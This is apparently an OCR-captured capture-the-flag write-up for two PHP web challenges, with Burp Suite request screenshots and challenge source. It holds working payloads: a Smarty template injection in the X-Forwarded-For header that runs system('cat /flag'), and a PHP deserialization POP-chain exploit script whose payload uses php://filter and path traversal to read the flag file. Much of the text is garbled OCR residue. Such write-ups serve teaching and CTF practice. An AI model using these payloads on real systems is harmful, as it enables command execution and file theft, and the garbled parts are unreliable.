AR BiF: http://1.14.71.254:28735 7 (2)
m = = —_
MRz =
\n  Actions w Pretty [FEis F’\ender “n Actions w —] =
9
1 GET / HTTP/1.1 m
2 Host: 1.14.71.254:28735 P a
-

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4;
rv:98.0) Gecko/20100101 Firefox/98.0

4 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, ima
ge/avif, image/webp, *¥/%;g=0. 8

5 Accept-Language:
zh-CN, zh;g=0. 8, zh—-TW; g=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en; g=0
.2

6 Accept-Encoding: gzip, deflate

7 X-Forwarded-For: {if phpinfo(} {/if}

& Connection: close

9 Cookie: PHPSESSID=fea595009abe8948b50b932370951016;
nctf2018=wheret+is+flagh3F

10 Upgrade—Insecure—Requests: 1

11 Cache—Control: max—age=0

12

13

| wsns

l’"_;) lfaﬁ [am | Search...

ETRRRFLPATT

F-generic #86-Ubuniu SMP Thu Jun 17 02.35:03 UTC 2021 x26_64

linux-musl' '—with-config-file-path=/usrlocalietc/php’ —-with-config-file-scan-

'—enable-optien-checking-fatal '—with-mhash' '—enable-fip' '--enable-mbstring' -enabls-
rgon2” -with-sodium=shared' -with-pdo-sglite=/usr’ '—with-sglte3=fusr’ '--with-curf" '—
r-with-zlib" —-enable-fpm" --with-fom-user-www-data' --with-fom-group=www-data' '
_Bd-limuwx-mus!

ker-php-ext-sodium.ini




Burp IHEH WMiEE =ERE O EBH

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
1 = 2 x 3 x 4 x 5 x 6 x T = 8 x 9 x 10 =
& - < BiF: http://1.14.71.254:28735 7 (2)
= m —
EEx TR c =
Pretty k=M \n  Actions w IEWE [Fis  Render \n Actions w m =
£ w
1 GET / HTTP/1.1 13 =
2 Host: 1.14.71.254:28735 14 iner™ a
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; 15;"> ]
rv:98.0) Gecko/20100101 Firefox/98.0 ‘ . e
16 loat: left;">
4 Accept: 17

text/html, application/xhtml+xml, application/xml;q=0.9, ima
ge/avif, image/webp, ¥/%;9=0. 8

5 Accept-Language:
zh-CN, zh;g=0. 8, zh—-TW; g=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en; g=0
.2

6 Accept-Encoding: gzip, deflate

7 X-Forwarded-For: {if system('cat /flagf)][/if]

& Connection: close

9 Cookie: PHPSESSID=fea595009abe8948b500932370951016;
nctf2018=wheret+is+flagh3F

10 Upgrade—Insecure—Requests: 1

11 Cache—Control: max—age=0

12

13

(Nick [« [ search..

OK, Zigfif) )R /%

popchains

| mame ()08 (¢ |=][ current

18 hidden—xs hidden—sm">
Public IP Address API

19
20 loat:right;margin—top:30px; ">
<?php $flag='NSSCTF {e8bdédeé-7dd6-407f-a024-6a73c1cdba9(
21
22
23
24 "why row">
25 s="col—-xs-12">
26

se?

27 ass="row">

28 class="col-xs—offset-1 col-xs-10">

29

30 0 you need to get the public IP address ? Do you have tt
31>

32

| 1o



Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET[ 'wish']);

}
elseq{
$a=new Road_is_Long;
highlight_file(_ FILE_ );
}

/***************************pop yOUP 2@22*****************************/

class Road_is_Long{

public $page;

public $string;

public function __ construct($file="index.php"){
$this->page = $file;

¥

public function __ toString(){
return $this->string->page;

public function __ wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|[\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";

class Try Work_ Hard{
protected $var;
public function append($value){
include($value);
)i
public function __invoke(){
$this->append($this->var);

class Make_a_Change{
public $effort;
public function _ construct(){
$this->effort = array();

public function _ get($key){
$function = $this->effort;
return $function();

}

/**********************Try to See fLag_php*****************************/

—iBpopHERIE, FEFHH, HE—ERHexp



<?php

class Road_is_Long{
public $page;
public $string;

class Try_Work_Hard{
protected $var="php://filter/read=convert.base64-encode/resource=index.php";

class Make_a_Change{
public $effort;

¥

$roadl=new Road_is Long();

$road2=new Road_is_Long();

$try=new Try_Work_Hard();

$make=new Make_a_Change();

$make->effort=$try;
$road2->string=$make;
$roadl->page=%$road2;
$ser=serialize($roadl);
echo urlencode($ser);

« = @ C O 8 1.1471.254:28125/7wish=0%3A12%3ARoad_is_Long~%3A2%3A{s%3A4%3A"page"%3BO%3A12%3A Road_is_Long"%3A2%3A{s%3A4%3A page"%3BN%3Bs%3A6%34

L Des DEgrs OeE Dessels Dasve Dxesgme D Desme Dapzg Doagss Dxees Dot DEERE D=gx1a Dzkss Dea O

Happy New Year~ MAKE A WISH

=l Url &8 X RC4 X Baseb4 &S5 X Base EXHE X

Base ZFIEE 1@

Type
Base b4 -

TINTQTRGe2VKkMjM20OGI3LTImY2UtNDQ3Ny04MTYxLTk3Nzky NSSCTF{ed2368b7-9fce-4477-8161-977922735a01)
MjczNWEWMX0K

payload

?wish=0%3A12%3A"Road_is_Long"%3A2%3A{s%3A4%3A"page"%3B0%3A12%3A"Road_is_Long"%3A2%3A{s%3A4%3A"page"%3BN%3Bs%3A6%
3A"string"%3B0%3A13%3A"Make_a_Change"%3A1%3A{s%3A6%3A"effort"%3B0%3A13%3A"Try Work Hard"%3A1%3A{s%3A6%3A"%00*%00
var"%3Bs%3A62%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D. .%2F . .%2F . .%2Fflag"%3B}} }s%3A6%
3A"string"%3BN%3B}
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